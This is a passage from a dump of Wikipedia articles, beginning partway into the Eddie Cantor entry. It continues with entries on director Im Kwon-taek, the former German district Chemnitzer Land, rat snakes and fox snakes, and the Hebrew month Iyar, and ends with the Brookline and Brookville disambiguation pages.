Cantor appears as a recurring character, played by Stephen DeRosa, on the series Boardwalk Empire.
Personal life and family
Cantor adopted the first name "Eddie" when he met his future wife Ida Tobias in 1913, because she felt that "Izzy" was not the right name for an actor. Cantor and Ida (1892–1962) were married on June 6, 1914. They had five daughters – Marjorie (1915–1959), Natalie (1916–1997), Edna (1919–2003), Marilyn (1921–2010), and Janet (1927–2018). The girls provided comic fodder for Cantor's longtime running gag, especially on radio, about his five unmarriageable daughters. Several radio historians, including Gerald Nachman (Raised on Radio), have said that this gag did not always sit well with the girls. Natalie's second husband was the French-born American actor Robert Clary, who was best known for his role as Corporal Louis LeBeau on Hogan's Heroes. Janet married the actor Roberto Gari.
Following the death of their daughter Marjorie at the age of 44, Eddie's and Ida's health declined rapidly. Ida died on August 9, 1962, at age 70 of "cardiac insufficiency", and Eddie died on October 10, 1964, in Beverly Hills, California after suffering his second heart attack at age 72. He is interred in Hillside Memorial Park Cemetery, a Jewish cemetery in Culver City, California.
Filmography
A Few Moments With Eddie Cantor, Star of "Kid Boots" (1923, DeForest Phonofilm sound-on-film short film) as Himself
Kid Boots (1926) as Samuel (Kid) Boots
Special Delivery (1927) as Eddie Beagle – the Mail Carrier
That Party in Person (1929, Short) as Eddie Cantor
A Ziegfeld Midnight Frolic (1929, Short) as Himself
Glorifying the American Girl (1929) as Eddie Cantor – Appearance in Revue Scenes
Insurance (1930, Short) as Sidney B. Zwieback
Getting a Ticket (1930, Short) as Himself
Whoopee! (1930) as Henry Williams
Palmy Days (1931) as Eddie Simpson
Talking Screen Snapshots (1932, Documentary short) as Himself
The Kid from Spain (1932) as Eddie Williams
Roman Scandals (1933) as Eddie / Oedipus
The Hollywood Gad-About (1934, Documentary short) as Himself (uncredited)
Kid Millions (1934) as Eddie Wilson Jr.
Strike Me Pink (1936) as Eddie Pink
Ali Baba Goes to Town (1937) as Ali Baba
The March of Time Volume IV, Issue 5 (1937, Documentary short) as Himself
Forty Little Mothers (1940) as Gilbert Jordan Thompson
Thank Your Lucky Stars (1943) as Eddie Cantor / Joe Simpson
Show Business (1944, also producer) as Eddie Martin
Hollywood Canteen (1944) as Himself
Screen Snapshots: Radio Shows (1945, Short) as Eddie – The Eddie Cantor Program
American Creed (1946, Short) as Self
Meet Mr. Mischief (1947, Short, appears on poster) as Face on Station Program Poster (uncredited)
If You Knew Susie (1948) as Sam Parker
Screen Snapshots: Hollywood's Happy Homes (1949, Documentary short) as Himself
The Story of Will Rogers (1952) as Himself
Screen Snapshots: Memorial to Al Jolson (1952, Documentary short) as Himself
The Eddie Cantor Story (1953) cameo appearance and singing voice dubbing for Keefe Brasselle
Bibliography
My Life Is in Your Hands by Eddie Cantor (1928) with David Freedman; Harper & Bros.
Caught Short!: A Saga of Wailing Wall Street by Eddie Cantor (1929) Simon & Schuster
Between the Acts by Eddie Cantor (1930) Simon & Schuster
Yoo-Hoo, Prosperity!: The Eddie Cantor Five-Year Plan by Eddie Cantor (1931) with David Freedman; Simon & Schuster
The Rise of the Goldbergs by Gertrude Berg (1931) Foreword by Eddie Cantor; Barse & Co.
Your Next President! by Eddie Cantor (1932) with David Freedman, Illus. by S.L. Hydeman; Ray Long & Richard R. Smith, Inc.
Eddie Cantor in An Hour with You: A Big Little Book (1934) Whitman
Eddie Cantor Song and Joke Book (1934) Illus. by Ben Harris; M. Witmark & Sons
Ziegfeld: The Great Glorifier by Eddie Cantor (1934) with David Freedman; Alfred H. King
World's Book of Best Jokes by Eddie Cantor (1943) World Publishing Co.
Hello, Momma by George Jessel (1946) Foreword by Eddie Cantor, Illus. by Carl Rose; World Publishing Co.
Take My Life by Eddie Cantor (1957) with Jane Kesner Ardmore; Doubleday
No Man Stands Alone by Barney Ross (1957) Foreword by Eddie Cantor; B. Lippincott Co.
The Way I See It by Eddie Cantor (1959) with Phyllis Rosenteur, ed.; Prentice-Hall
As I Remember Them by Eddie Cantor (1963) Duell, Sloan & Pearce
Yoo-Hoo, Prosperity! and Caught Short! by Eddie Cantor (1969) Greenwood Press
"The Eddie Cantor Story: A Jewish Life in Performance and Politics" by David Weinstein (2017) UPNE/Brandeis University Press
The Golden Age of Sound Comedy: Comic Films and Comedians of the Thirties by Donald W. McCaffrey (1973) A.S. Barnes
Radio Comedy by Arthur Frank Wertheim (1979) Oxford University Press
The Vaudevillians: A Dictionary of Vaudeville Performers by Anthony Slide (1981) Arlington House
American Vaudeville as Seen by Its Contemporaries by Charles W. Stein, ed. (1984) Alfred A. Knopf
Eddie Cantor: A Life in Show Business by Gregory Koseluk (1995) McFarland
Eddie Cantor: A Bio-Bibliography by James Fisher (1997) Greenwood Press
Banjo Eyes: Eddie Cantor and the Birth of Modern Stardom by Herbert G. Goldman (1997) Oxford University Press
The Great American Broadcast: A Celebration of Radio's Golden Age by Leonard Maltin (1997) Dutton
My Life Is in Your Hands and Take My Life by Eddie Cantor (2000) Cooper Square Press
Film Clowns of the Depression: Twelve Defining Comic Performances by Wes D. Gehring (2007) McFarland
Eddie Cantor in Laugh Land by Harold Sherman (2008) Kessinger Publishing
Angels We Have Heard: The Christmas Song Stories by James Adam Richliano (2002) Star Of Bethlehem Books (Includes a chapter on Cantor's involvement in the history of "Santa Claus Is Comin' To Town").
The Eddie Cantor Story: A Jewish Life in Performance and Politics by David Weinstein (2018) UPNE/Brandeis University Press
References
Further reading
Weinstein, David (2018). The Eddie Cantor Story: A Jewish Life in Performance and Politics. Hanover, NH: UPNE/Brandeis University Press.
A Few Moments with Eddie Cantor, Star of "Kid Boots" (1923) A six-minute film made in Phonofilm by Lee De Forest featuring Cantor telling monologues and singing two songs in one of the earliest surviving sound motion pictures.
OTR Network Library: The Eddie Cantor Show (11 1936 – 52 episodes)
External links
Cantor's Sidekick: Bert 'The Mad Russian' Gordon @WFMU
Eddie Cantor at Virtual History
FBI file on Eddie Cantor
1892 births
Eddie Cantor
1964 deaths
20th-century American comedians
20th-century American male actors
20th-century American singers
20th-century American male singers
Academy Honorary Award recipients
American autobiographers
American humanitarians
American male radio actors
American people of Russian-Jewish descent
Audio Fidelity Records artists
Blackface minstrel performers
Burials at Hillside Memorial Park Cemetery
California Democrats
Jewish American comedians
Jewish American male actors
Jewish American musicians
Jewish singers
Eddie Cantor
New York (state) Democrats
Presidents of the Screen Actors Guild
RCA Victor artists
Screen Actors Guild Life Achievement Award
Vaudeville performers
Ziegfeld Follies
20th-century American Jews
Members of The Lambs Club | [
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241304 | https://en.wikipedia.org/wiki/Im%20Kwon-taek | Im Kwon-taek | Im Kwon-taek (born May 2, 1936) is one of South Korea's most renowned film directors. In an active and prolific career, his films have won many domestic and international film festival awards as well as considerable box-office success, and helped bring international attention to the Korean film industry. As of spring 2015, he has directed 102 films.
Early life
Im Kwon-taek was born in Jangseong, Jeollanam-do and grew up in Gwangju. After the Korean War, he moved to Busan in search of work. He then moved to Seoul in 1956, where Jeong Chang-hwa, director of Five Fingers of Death (1972), offered him room and board for work as a production assistant. Jeong recommended him for directing in 1961.
Career
Im's directorial premiere was with the 1962 film, Farewell to the Duman River (Dumanganga jal itgeola).
Before 1980 he was known primarily as a commercial filmmaker who could efficiently direct as many as eight genre pictures a year, helping to fulfill the quota for domestic pictures set by the government . His desire to make more artistically satisfying films began to show itself with his 1978 film Jokbo (Genealogy or The Family Tree), but the turning point of his career came with the 1981 film Mandala. From this point his films have been regarded as art-house cinema, and have been regularly shown at international film festivals, and have won numerous awards.
Im has continued to explore themes from Korea's past while also focusing on the Korean cultural identity in modern times. Among Im's most notable recent films are Sopyonje (1993) and Chunhyang (2000), both of which concentrate on the traditional Korean musical art of pansori. The latter film was also based on a traditional Korean legend. Apart from being a critical success, Sopyonje was also a success at the box office, becoming the first domestic film to draw over a million viewers in Seoul alone. Chihwaseon (2002) was also a critical success, earning him Korea's first Best Director award at the Cannes Film Festival. Im Kwon-taek was awarded an Honorary Golden Bear award at the Berlin Film Festival in 2005.
Im Kwon-taek's status, brought on by the critical success of his films, overlapped with a period of the film movement called "New Korean Cinema" or "Korean New Wave". Along with other directors, such as Park Gwang-su and Jang Sun-woo, Im is recognized as one of the founding figures of the movement, which gained international critical recognition and acclaim for Korean Cinema.
In April 2007, Im released his 100th film Beyond the Years, an informal sequel to Sopyonje. In November 2007 the French government announced that it would make Im a knight of the French Legion of Honor.
In 2013, a museum dedicated to Im opened in Busan, on the Dongseo University Centum City Campus.
A documentary on Im, Cloud, Encore (2018) by well-known film critic-turned-director Jung Sung-il, will made its world premiere at the 23rd Busan International Film Festival in 2018.
Personal life
He married the actress Chae Ryeong (ko), who appeared in several of his films. Their two sons Im Dong-joon and Im Dong-jae (the latter uses the stage name Kwon Hyun-sang) are also active in the film industry.
Filmography
Accolades
Asian Film Awards:
Lifetime Achievement Award
Asia Pacific Film Festival
Special Jury Award Chunhyang (2000)
Best Director and Best Film Sibaji (1987)
Berlin International Film Festival
Golden Bear: Gilsoddeum (nominated) (1986)
Golden Bear: The Taebaek Mountains (nominated) (1995)
Honorary Golden Bear (2005)
Cannes Film Festival
Best Director Chihwaseon (2002)
Grand Bell Awards (Korea), Best Director
Testimony (Jungon) (1974)
Jokbo (Genealogy/Family Tree) (1979)
Mandala (1981)
Ticket (1986)
Yeonsan ilgi (Diary of King Yonsan) (1988)
Hankuk Play and Film Arts Awards (Korea), Best Director
Wangshibri (A Byegone Romance) (1976)
Nakdongkaneun heureuneunga (Commando on the Nakdong River) (1976)
Angae maeul (Village in the Mist) (1983)
Hawaii International Film Festival
Best Feature Film Chunhyang (2000)
International Film Festival of India
Lifetime Achievement Award
Korean Film Critics Awards, Best Director
Gilsoddeum (Gilsodom) (1986)
Ticket (1986)
16th Moscow International Film Festival
Golden St. George: Come Come Come Upward (1989) (nominated)
Pusan International Film Festival
Netpac Award Chunhyang (2000)
The Asian Filmmaker of the Year (2021)
San Francisco International Film Festival
Akira Kurosawa Award (1998)
Shanghai International Film Festival
Golden Goblet - Best Director Seopyeonje (1993)
Singapore International Film Festival
2001 Silver Screen Award - Best Asian Director Chunhyang (2000)
2014 Silver Screen Award - Honorary Award
Notes
See also
Cinema of Korea
External links and references
Page about the Korean New Wave at asianinfo.org
Biography and interview at cinekorea.com
Interview: Reflection In A Mirror at asianfilms.org
, p. 342-343.
Naver Cast - Im Kwon-taek
Doosan Encyclopedia - Im Kwon-taek
1936 births
Chevaliers of the Légion d'honneur
Living people
South Korean film directors
People from Jangseong County
Cannes Film Festival Award for Best Director winners
Fellini Gold Medalists
Honorary Golden Bear recipients | [
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241306 | https://en.wikipedia.org/wiki/Chemnitzer%20Land | Chemnitzer Land | Chemnitzer Land is a former district in the Free State of Saxony, Germany. It was bounded by (from the north and clockwise) the district of Mittweida, the city of Chemnitz, the districts of Stollberg and Zwickauer Land and the state of Thuringia (district Altenburger Land).
History
The history of the region is largely influenced by the neighbouring cities of Chemnitz and Zwickau. In medieval times the town of Glauchau, today the capital of the district, was the centre of the county of Schönburg-Glauchau. The East German government attempted to turn the region into a huge industrial complex, which is the reason for the dense population.
The district was established in 1994 by merging the former districts of Glauchau and Hohenstein-Ernstthal. In August 2008, as a part of the district reform in Saxony, the districts of Zwickauer Land, Chemnitzer Land and the urban district Zwickau were merged into the new district Zwickau.
Geography
Once a densely forested region, Chemnitzer Land now is a highly urbanised region with few green areas left. The Zwickauer Mulde river runs through the northernmost part of the district.
Coat of arms
Towns and municipalities
External links
(German) | [
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241311 | https://en.wikipedia.org/wiki/Rat%20snake | Rat snake | Rat snakes are members – along with kingsnakes, milk snakes, vine snakes and indigo snakes – of the subfamily Colubrinae of the family Colubridae. They are medium to large constrictors and are found throughout much of the Northern Hemisphere. They feed primarily on rodents. Many species make attractive and docile pets and one, the corn snake, is one of the most popular reptile pets in the world. As with all snakes, they can be defensive when approached too closely, handled, or restrained, but bites are not serious. Like nearly all colubrids, rat snakes pose no threat to humans. Rat snakes were long believed to be completely nonvenomous, but recent studies have shown that some Old World species do possess small amounts of venom, though the amount is negligible relative to humans.
Previously, most rat snakes were assigned to the genus Elaphe, but many have been since renamed following mitochondrial DNA analysis performed in 2002. For the purpose of this article, names will be harmonized with the TIGR Database.
Species
Old World rat snakes
Coelognathus spp.
Philippine rat snake, C. erythrurus (A.M.C. Duméril, Bibron & A.H.A. Duméril, 1854)
Black copper rat snake or yellow striped snake, C. flavolineatus (Schlegel, 1837)
Trinket snake, C. helena (Daudin, 1803)
Copperhead rat snake, C. radiatus (F. Boie, 1827)
Indonesian rat snake, C. subradiatus (Schlegel, 1837)
Elaphe spp.
Twin-spotted rat snake, Elaphe bimaculata Schmidt, 1925
King rat snake, Elaphe carinata (Günther, 1864)
Japanese rat snake, E. climacophora (H. Boie, 1826)
David's rat snake, E. davidi (Sauvage, 1884)
Dione rat snake, E. dione (Pallas, 1773)
Japanese four-lined rat snake, E. quadrivirgata (H. Boie, 1826)
Four-lined snake, E. quatuorlineata (Lacépède, 1789)
Red-backed rat snake, E. rufodorsata (Cantor, 1842)
Eastern four-lined snake, E. sauromates (Pallas, 1811)
Russian rat snake, E. schrenckii Strauch, 1873
Euprepiophis spp.
Japanese forest rat snake, E. conspicillatus (H. Boie, 1826)
Mandarin rat snake, E. mandarinus (Cantor, 1842)
Gonyosoma spp.
Green trinket snake, G. frenatum (Gray, 1853)
Celebes black-tailed rat snake, G. jansenii (Bleeker, 1858)
Red-tailed green rat snake, G. oxycephalum (F. Boie, 1827)
Oreocryptophis spp.
Mountain rat snake, O. porphyracea (Cantor, 1839)
Orthriophis spp.
Cantor's rat snake, O. cantoris (Boulenger, 1894)
Hodgson's rat snake, O. hodgsoni (Günther, 1860)
100 flower rat snake, O. moellendorffi (Boettger, 1886)
Beauty snake, O. taeniurus (Cope, 1861)
Ptyas spp.
Keeled rat snake, P. carinata (Günther, 1858)
P. dhumnades (Cantor, 1842)
Sulawesi black racer, P. dipsas (Schlegel, 1837)
White-bellied rat snake, P. fusca (Günther, 1858)
Chinese rat snake, P. korros (Schlegel, 1837)
P. luzonensis (Günther, 1873)
Oriental rat snake, P. mucosa (Linnaeus, 1758)
Green rat snake, P. nigromarginata (Blyth, 1854)
Rhadinophis spp.
Green bush snake, R. prasinus (Blyth, 1854)
Rhynchophis spp.
Rhinoceros ratsnake, R. boulengeri Mocquard, 1897
Zamenis spp.
Transcaucasian rat snake, Z. hohenackeri (Strauch, 1873)
Italian Aesculapian snake, Z. lineatus (Camerano, 1891)
Aesculapian snake, Z. longissimus (Laurenti, 1768)
Persian rat snake, Z. persicus (F. Werner, 1913)
Ladder snake, Z. scalaris (Schinz, 1822)
Leopard snake, Z. situla (Linnaeus, 1758)
New World rat snakes
Bogertophis spp.
Baja California rat snake, B. rosaliae (Mocquard, 1899)
Trans-Pecos rat snake, B. subocularis (Brown, 1901)
Pantherophis spp.
Eastern rat snake, P. alleghaniensis (Holbrook, 1836)
Baird's rat snake, P. bairdi (Yarrow, 1880)
Great Plains rat snake, P. emoryi (Baird & Girard, 1853)
Eastern fox snake, P. gloydi (Conant, 1940)
Corn snake, P. guttatus (Linnaeus, 1766)
Black rat snake, P. obsoletus (Say, 1823)
Western fox snake, P. ramspotti (Crother, White, Savage, Eckstut, Graham & Gardner, 2011)
Gray rat snake, P. spiloides (A.M.C. Duméril, Bibron & A.H.A. Duméril, 1854)
Eastern fox snake, P. vulpinus (Baird & Girard, 1853)
Pseudelaphe spp.
Mexican rat snake, P. flavirufa (Cope, 1867)
Senticolis spp.
Green rat snake, S. triaspis (Cope, 1866)
Spilotes spp.
Chicken snake or yellow rat snake, S. pullatus (Linnaeus, 1758)
Nota bene: In the above species lists, an authority's name in parentheses indicates that the species was originally described in a different genus. An authority's name not in parentheses indicates that the species is still assigned to the original genus in which it was described.
Taxonomy
In recent years, some taxonomic controversy has occurred over the genus of North American rat snakes. Based on mitochondrial DNA, Utiger et al. (2002) showed that North American rat snakes of the genus Elaphe, along with closely related genera such as Pituophis and Lampropeltis, form a monophyletic group separate from Old World members of the genus. They therefore suggested the resurrection of the available name Pantherophis Fitzinger for all North American taxa (north of Mexico). Crother et al. (2008) accepted the taxonomic change to Pantherophis.
Venom
Like nearly all colubrids, rat snakes pose no threat to humans. Although rat snakes were long believed to be completely nonvenomous, recent studies have shown that some Old World species do possess small amounts of venom, though the amount is negligible relative to humans. Rat snakes usually hunt and kill mice by biting with their teeth and suffocate them by constriction of its own body.
In captivity
Rat snakes are commonly kept as pets by reptile enthusiasts. The corn snake, one of the most popular pet reptiles, is a rat snake. New World species are generally thought to be more docile in captivity as opposed to Old World rat snakes, of which the opposite is assumed.
Effects of climate change on rat snakes
Positive impacts
All snakes are ectotherm species, meaning they depend on the temperature of the environment to maintain homeostasis. Although it is predicted that the current rate of climate change will be too rapid for many reptiles and amphibian species to adapt or to evolve, studies have suggested that a warmer climate may actually be beneficial to rat snake species. Global warming also poses less threats to rat snakes in temperate zones than in tropical zones as rat snake species in temperate zones can tolerate broader ranges of temperature. Global climate change will increase both day and night time temperatures. This will make the night time environment more thermally suitable for rat snakes to hunt, thereby making them more active at night. Increasing night time activity allows rat snakes to catch larger prey such as birds, since female birds usually incubate their eggs in the nest at night and have decreased ability to detect rat snakes due to poor visibility conditions. Global warming may also lead to changes in predation. Rat snakes are prey species to predators like hawks. While rat snakes are being hunted during the day, being more active at night due to warmer temperatures may allow rat snakes to be less vulnerable to predation from hawks. A warming climate also enhances food digestion in rat snakes thereby making them more efficient, which enables rat snake individuals to grow larger in size and allowing them to consume more prey. In comparison to rat snake species at relatively colder regions, rat snake species at lower latitudes tend to be larger in size due to warmer climate conditions. As the global climate warms, the average body size of rat snakes at higher latitudes will become larger, which will allow the species to catch more prey and thus increase their overall reproductive success.
Negative impacts
Eastern rat snake species in North America are experiencing negative shifts in their behaviour due to Global Warming and increasing temperatures. These shifts differ between the large distribution of rat snakes that range from Ontario to Texas. The increasing Global Warming can negatively impact this species and can be attributed to population declines in some areas.
Rat snake populations from their northern range, such as Ontario, are experiencing a shift in hibernation emergence. The populations in these regions typically emerge from hibernation in late April. However, the increasing variability in temperature may cause rat snakes to emerge on a warm sunny day in the months of February or March. Climate change has caused winters that can have weather turn back very quickly from sunny periods with high temperatures to snow and below freezing temperatures. The early emergence of these rat snakes will begin to expose them to these fatal conditions if a snake cannot return to its hibernaculum in time. Therefore, the fluctuations in temperature affect the thermoregulation that rat snakes need for bodily functions like digestion and movement. The unpredictability of the weather is causing more rat snakes in their northern range to get caught in these cold snaps and freeze to death.
Increasing temperatures due to climate change have increased the nocturnal activity of rat snakes, especially in warmer climates such as Texas. This has allowed them to alter their predation habits and feed more on nesting birds and other accessible prey. However, their increased nocturnal activity puts them at risk to a new range of nocturnal predators. Rat snakes may not be used to the presence of nocturnal predators such as raccoons and owls and may be more vulnerable as prey. Until rat snakes are able to adapt to their relatively new predators, populations may be at risk due to heavy predation.
Life history alterations in Ontario gray rat snakes
As rat snakes are ectothermic species, they require sunlight and heat to maintain their body temperatures. Across their range in North America each species of rat snake has different ideal body temperatures. In Ontario, the average ideal body temperature of a rat snake is 28.1 degrees Celsius with free ranging gravid females tending to require a bit higher in order to meet their thermoregulatory requirements for gestation. With ambient air temperatures over the course of their entire active season (from May to September) almost never reaching the required 28.1 °C, rat snakes in Ontario resort to basking habitats where conditions allow temperatures to rise above normal and up to 43 degrees Celsius at the hottest times of day and year. These habitats include areas such as rock outcrops, bare ground, or edge habitat where they can bask on tree branches fully exposed to the sun. However, with climate change and an associated increase in ambient air temperature by 3 °C, the amount of required time spent by snakes in these habitats will decrease. This will result in alterations in the amount and time of activity of rat snakes in the province. They will have the potential to be generally more active during both the day and night as it will be easier for them to maintain their ideal body temperature. Habitat choices may also shift with increased temperatures. More time could be spent in areas such as forests or barns where the temperatures are currently too low for the snakes to spend most of their time. There will be less of a need to expose themselves in their open basking habitats, causing decreases in predator vulnerability as well as increases in thermoregulatory ability and foraging time. In addition, rat snakes in Ontario have a slower growth and maturation rates due to the cooler climate and shorter active seasons compared to other species of rat snakes further South in North America. This means that Ontario's rat snakes are more vulnerable to population declines. But, with an increase in temperature and an increase in the duration of the active season from climate change, it is possible that the growth and maturation rates of these snakes will increase.
See also
Black rat snake
Beauty rat snake
Gray rat snake
Texas rat snake
Ptyas mucosa
References
External links
Information on a variety of rat snakes
Rat snake gallery (along with other nonvenomous snakes)
Colubrids
Snake common names
fr:Elaphe
hi:धामिन
is:Rottusnákar
ml:ചേര
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241312 | https://en.wikipedia.org/wiki/Iyar | Iyar | Iyar ( or , Standard Iyyar Tiberian ʾIyyār; from "rosette; blossom") is the eighth month of the civil year (which starts on 1 Tishrei) and the second month of the Jewish religious year (which starts on 1 Nisan) on the Hebrew calendar. The name is Babylonian in origin. It is a month of 29 days. Iyar usually falls in April–May on the Gregorian calendar.
In the Hebrew Bible, before the Babylonian captivity, the month was called Ziv (, ). Ziv is a Hebrew word that means "light" or "glow".
Along with all other current, post-biblical Jewish month names, Iyar was adopted during the Babylonian captivity. In the Babylonian calendar its name was Araḫ Āru, which can be interpreted as "month of blossoming".
Holidays in Iyar
Jewish holidays
14 Iyar – Pesach Sheni
18 Iyar – Lag BaOmer
Bahab – see Cheshvan. It is observed on the Monday, Thursday, and Monday preceding Lag BaOmer.
Israeli holidays
4 Iyar – Yom HaZikaron
5 Iyar – Independence Day (Israel)
10 Iyar – Herzl Day
28 Iyar – Jerusalem Day
Iyar in Jewish history
1 Iyar (1788) - Death of Rabbi Menachem Mendel of Vitebsk.
2 Iyar (1834) - Birth of the Rebbe Maharash, 4th Chabad Rebbe.
4 Iyar (1165) – Maimonides survives a fierce storm at sea while fleeing from the Islamic persecution in Fez. From then on he observed the day as a personal day of fasting and prayer.
5 Iyar (1948) – Israeli Declaration of Independence on Friday, 14 May 1948, before sunset.
7 Iyar (498 BCE) – Jerusalem's rebuilt walls are dedicated nearly 88 years after their destruction by Nabû-kudurri-uṣur (Nebuchadnezzar II) of the Neo-Babylonian Empire.
8 Iyar (1096) – Rhineland massacres of the First Crusade begin – On their way to Holy Land, small bands of knights and peasants, along with local inhabitants, the "People's Crusade", attacked many Jewish communities, most notably in the Rhineland towns of Worms and Mainz. On Shabbat, 8th of Iyar, the Jews of Speyer were also attacked. However, most of them were allowed refuge in the bishop's castle and neighbouring towns such as Heidelberg. (See Sivan in Jewish History" for Sivan 1).
10 Iyar (circa 2870/2871 BC) Death of Eli the High Priest and his two sons
10 Iyar (1103) – Death of Isaac Alfasi
10 Iyar (1860) – Birthday of Theodor Herzl
11 Iyar (1510) – 1500 Jewish books were confiscated in the Free City of Frankfurt at the instigation of an apostate.
11 Iyar (1881) – Pogroms in Wasilków and Konotop as Jews are blamed for the assassination of Tsar Alexander II of the Russian Empire, who was assassinated in a suicide attack by the Catholic Russified Pole Ignacy Hryniewiecki. Riots continued for three years across all of Russia.
11 Iyar (1948) – Battle at Degania – The Israeli Army defeated the advancing Syrian Armed Forces, following the shelling at the entrance of Deganya, which began at sunrise and lasted nine hours. It is considered the first Israeli victory of 1948 Arab–Israeli War.
13 Iyar (1427) – Jews expelled from Bern, Switzerland
14 Iyar (1312 BCE) – "Second Passover" – an additional opportunity to offer the paschal sacrifice, for individuals who were impure on the main Passover holiday. (Book of Numbers, 9).
14 Iyar (2nd century BC) – Death of Rabbi Meir
14 Iyar (1605) – Jews of Bisenz, part of Austrian Bohemia, were massacred by Stephen Bocskai, Prince of Transylvania
14 Iyar (1933) – Nazis burned thousands of books written by Jews.
14 Iyar (1960) – Adolf Eichmann captured in Buenos Aires.
15 Iyar (1727) – Jews expelled from Ukraine by Empress Catherine I a few months prior to her death.
15 Iyar (1883) – Pogrom in Rostov-on-Don with the encouragement of local Russian officials.
15 Iyar (1939) – The Nuremberg laws, depriving Jews the rights citizenship, were passed by the government of Nazi Germany in 1935. In 1939, on the 16th of Iyar, the laws went into effect in Nazi-allied Hungary.
15 Iyar (1945) – Dachau concentration camp liberated by the 45th Infantry Division of the US Army.
17 Iyar (66 CE) – Jews attack and defeat the Roman garrison in Jerusalem, following the theft of silver from the Holy Temple.
17 Iyar (1793) – Death of the Noda B'Yehudah
17 Iyar (1945) – Death of Adolf Hitler
18 Iyar (circa 120 CE) – A plague which killed 24000 of Rabbi Akiva's disciples ceases.
18 Iyar (Second century CE) – Death of Shimon bar Yochai On the day of his death—Iyar 18, the 33rd day of the Omer Count—Rabbi Shimon gathered his disciples and revealed many of the deepest secrets of the divine wisdom, and instructed them to mark the date as "the day of my joy."
18 Iyar (circa 1573) – Death of Moses Isserles, who is regarded as the definitive Halachic authority for Ashkenazi Jews.
18 Iyar (1690) – Ettingen Jews acquitted of a blood libel, avoiding the danger of the decree to destroy their synagogue were they to be found guilty. The local Jews celebrated this day as a local "Purim" celebration-day of thanksgiving.
18 Iyar (1948) – Israel Defense Forces created.
18 Iyar (1948) – Hurva Synagogue captured and dynamited by the Arab Legion of Jordan during the battle for Old Jerusalem. The synagogue was built by the group of disciples of the Vilna Gaon who immigrated from Lithuania in 1864. The synagogue was built on the ruins of the synagogue built by Judah HeHasid) and his disciples in 1700, which was destroyed by Arab mobs in 1721. It was therefore named the "Hurvat Rabbi Judah HaChassid"—the ruins of Rabbi Judah the Chassid, or simply "The Hurva"—The Ruin.
19 Iyar (1293) – Death of Meir of Rothenburg in his cell in Ensisheim Fortress where he had been imprisoned for ten years in an attempt to exact a huge ransom from the Jewish community. The money had been raised, but Rabbi Meir refused to have himself redeemed, lest this encourage the hostage taking of other Jewish leaders. (see Adar 4)
19 Iyar (1815) - Death of Menachem Mendel of Rimanov
19 Iyar (1945) – Joseph Goebbels commits suicide as World War II nears its end.
20 Iyar (circa 1312 BCE) – The Israelites departed their encampment near Mount Sinai.
20 Iyar (1288) – Thirteen Troyes Jews burned at the stake by the Inquisition for supposedly murdering a Christian child. The thirteen Jews chosen were from among the richer members of the community. Jews were also killed in a "blood libel" in Neuchâtel, Switzerland on this date.
20 Iyar (1637) – Venetian Jews forbidden the right to practice law or to act as advocates in the Courts of the Republic of Venice.
20 Iyar (1939) – Mount Scopus Hospital opened on Mount Scopus, Jerusalem. The hospital, designed by renowned Bauhaus architect Erich Mendelsohn, opened as a modern, 300-bed academic medical facility.
20 Iyar (1942) – All pregnant women in Kovno Ghetto sentenced to death by the Nazis.
22 Iyar (1731) – Jewish books begin to be searched for and confiscated by Giovanni Antonio Costanzi, the Vatican librarian and author of a catalogue of the Vatican's Hebrew manuscripts, in all the Jewish quarters throughout the Papal States. More confiscations continued over the next twenty years.
22 Iyar (1944) – Two months after the Nazi occupation of Hungary, Nazis began deportation of Hungarian Jews to the Auschwitz concentration camp. Adolf Eichmann personally oversaw the following day the start of the extermination process. Eight days later an estimated 100,000 had been murdered.
23 Iyar (1096) - Massacre of 800 Jews in Worms, Germany - this day was observed as a day of communal fasting in Worms for centuries to come.
24 Iyar (1945) – Nazi Germany surrenders to Allied Forces
25 Iyar (1096) – Cologne Jews saved – During the First Crusade, the crusaders are locked out of the city in the commune of Cologne in the Rhineland and local Jews are saved, following the orders of the local bishop to close the gates to the city. In a number of local provinces, where the local bishop tried to avert the masses from harming the Jews, the bishop would have to escape for his own safety.
25 Iyar (1355) – Toledo Massacre – 1200 Jews massacred by an attack led by Henry II of Castile during a civil war on the Alcaná, the judería of Toledo
26 Iyar (942) – Death of Saadia Gaon.
26 Iyar (1747) – Death of Moshe Chaim Luzzatto in a plague in Acre.
26 Iyar (1945) - 26 of Iyar - Day of Liberation and Rescue has been established as an official day to remember the date of the liberation from Nazi Germany, 26th of Iyar in the Hebrew calendar. The holiday was initiated by German Zakharyayev, Gorsky-Kavkazi Jewish philanthropist and businessman, and supported by Rabbis of Europe and Israel. The day was also recently accepted by the Israeli government.
26 Iyar (1945) – Theresienstadt concentration camp liberated by the Soviets.
26 Iyar (1967) – Six-Day War begins.
28 Iyar (1967) – Jerusalem conquered during the Six-Day War. The day is marked in Israel as "Jerusalem Day".
28 Iyar (circa 1012 BCE) – Death of Samuel the Prophet, marked by pilgrimages to his tomb on the outskirts of Jerusalem. Many Jews consider this a Ta'anit Tzadik and fast.
See also
Jewish astrology
In Arabic, Ayyar or Eyyar () refers to the month of May.
References
External links
Resources on the Month of Iyar
This Month in Jewish History
Months of the Hebrew calendar | [
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241314 | https://en.wikipedia.org/wiki/Fox%20snake | Fox snake | Fox snake or foxsnake is the common name given to some North American rat snakes of the genus Pantherophis. It is generally agreed that there are two such species, but three candidate species names have arisen for them:
Pantherophis gloydi (eastern fox snake), originally described by Conant in 1940, merged with P. vulpinus in 2011
Pantherophis vulpinus (foxsnake or western fox snake or eastern fox snake), originally described by Baird and Girard in 1853
Pantherophis ramspotti (western fox snake), originally described by Crother, White, Savage, Eckstut, Graham and Gardner in 2011
Colubrids
Set indices on snakes
Snake common names | [
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241318 | https://en.wikipedia.org/wiki/Brookline | Brookline | Brookline may refer to:
Places in the United States
Brookline, Massachusetts, a town near Boston
Brookline, Missouri
Brookline, New Hampshire
Brookline (Pittsburgh), a neighborhood in Pittsburgh, Pennsylvania
Brookline, Vermont
See also
Brooklin, Maine
Brooklyn | [
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241320 | https://en.wikipedia.org/wiki/Brookville | Brookville | Brookville may refer to any of the following:
Cities and towns
Brookville, Indiana
Brookville, Kansas
Brookville, Hunterdon County, New Jersey
Brookville, Ocean County, New Jersey
Brookville, New York
Brookville, Nova Scotia
Brookville, Ohio
Brookville, Pennsylvania
Brookville, Ontario
the former name of Brooklyn, Tasmania
Other uses
The Brookville Locomotive Company, manufacturer of railroad locomotives starting in 1918
Brookville (band), a pop-band / solo-project of Andy Chase from the band Ivy
See also
Brooksville (disambiguation)
Brookeville, Maryland | [
